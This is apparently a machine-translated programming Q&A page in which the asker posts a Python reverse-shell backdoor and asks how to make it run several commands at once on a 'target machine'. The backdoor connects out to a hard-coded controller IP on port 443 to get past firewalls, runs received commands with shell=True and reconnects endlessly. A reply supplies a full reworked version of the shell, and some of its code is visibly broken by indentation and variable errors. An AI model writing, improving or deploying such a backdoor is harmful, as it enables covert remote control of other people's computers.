9

下面的代碼工作正常,但是每次運行程序時,例如目標計算機上的記事本,提示都會卡住,直到退出程序。與子流程模塊併發。我怎樣才能做到這一點?

如何在目標機器上同時運行多個程序?我想這可以通過線程或子進程模塊來實現,但我仍然不能使用這個概念。

我該怎麼做?

import socket 
import time 
import subprocess #Executar comandos do SO 

#criando a conexao reversa 

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando 
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada 

def connect(IP,PORT): 
    #conectando a central de controle 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n')  # msg pra ver se foi conectado 
     #s.close() 
     return s 
    except Exception as e: 
     print('Erro de conexao',e) 
     return None 

def listen(s): 
##qdo o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar! 
## versao 3!!!!!!!!!! 
#versao 4 usa while True 

##########loop infinito para receber comandos 
    try: 

     while True: 
      data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n} 
      #print(data) 
      if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n 
       s.close()#fechar conexao 
       exit(0) # 0 eh execucao normal/sem erros 
      else: #executar os comandos 
       cmd(s,data) 
    except: 
     main(s) 

def cmd(s,data): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     saida = s.send(proc.stdout.read() + proc.stderr.read()) 
     s.send(saida) 
     #print(proc.stdout.read())  
    except: 
     main(s) 

def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      print("deu erro na conexao, tentando de novo!!!")##so pra debug 
      time.sleep(10) 

    #return 0 #nao precisa 

s = None 
main(s) 
+3

我猜你的意思多,而不是多線程。線程存在於一個進程內。 – ElmoVanKielmo

+1

@ElmoVanKielmo,他使用了subprocess.Popen,你可以從一個線程開始並等待。線程是一個完全可行的解決方案。 –

+1

@MadPhysicist來吧。線程爲這種情況?建立一個正在運行的進程列表並輪詢每個進程以查看它是否終止會更好。 – ElmoVanKielmo

回答

7

試着這麼做:

import socket 
import time 
import subprocess 
import select 

IP = '192.168.1.33' 
PORT = 443 

def connect(IP,PORT): 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n') 
    return s 
except Exception as e: 
    print('Erro de conexao',e) 
    return None 


def listen(s): 
    try: 
     # Create a polling object and register socket with it 
     socket_poll = select.poll() 
     socket_poll.register(s) 
     # Create a list of running processes 
     processes = [] 
     while True: 
      # If no data is available on the socket, we can use the time to clean up processes which are finished 
      if not socket_poll.poll(1): 
       for process in tuple(processes): 
        if process.poll(): 
         s.send(proc.stdout.read() + proc.stderr.read()) 
         processes.remove(process) 
       continue 
      data = s.recv(1024) 
      if data[:-1] == '/exit': 
       s.close() 
       exit(0) 
      else: 
       cmd(s, data, processes) 
    except: 
     main(s) 


def cmd(s, data, processes): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     # Add new process to the list 
     processes.append(proc) 
    except: 
     main(s) 


def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      time.sleep(10) 

s = None 
main(s) 

對不起去除西班牙語意見;)

+0

感謝您的解決方案! –

+0

是否可以使用線程? –

+0

是的,這是可能的。我鼓勵你用Mad Physicist提出的線程編寫代碼。不要擔心,如果它不起作用。當你這樣做時,我們可以告訴你什麼是錯的,並糾正它。只需用你的想象力向我們展示你如何在這裏使用線程。 – ElmoVanKielmo

相關問題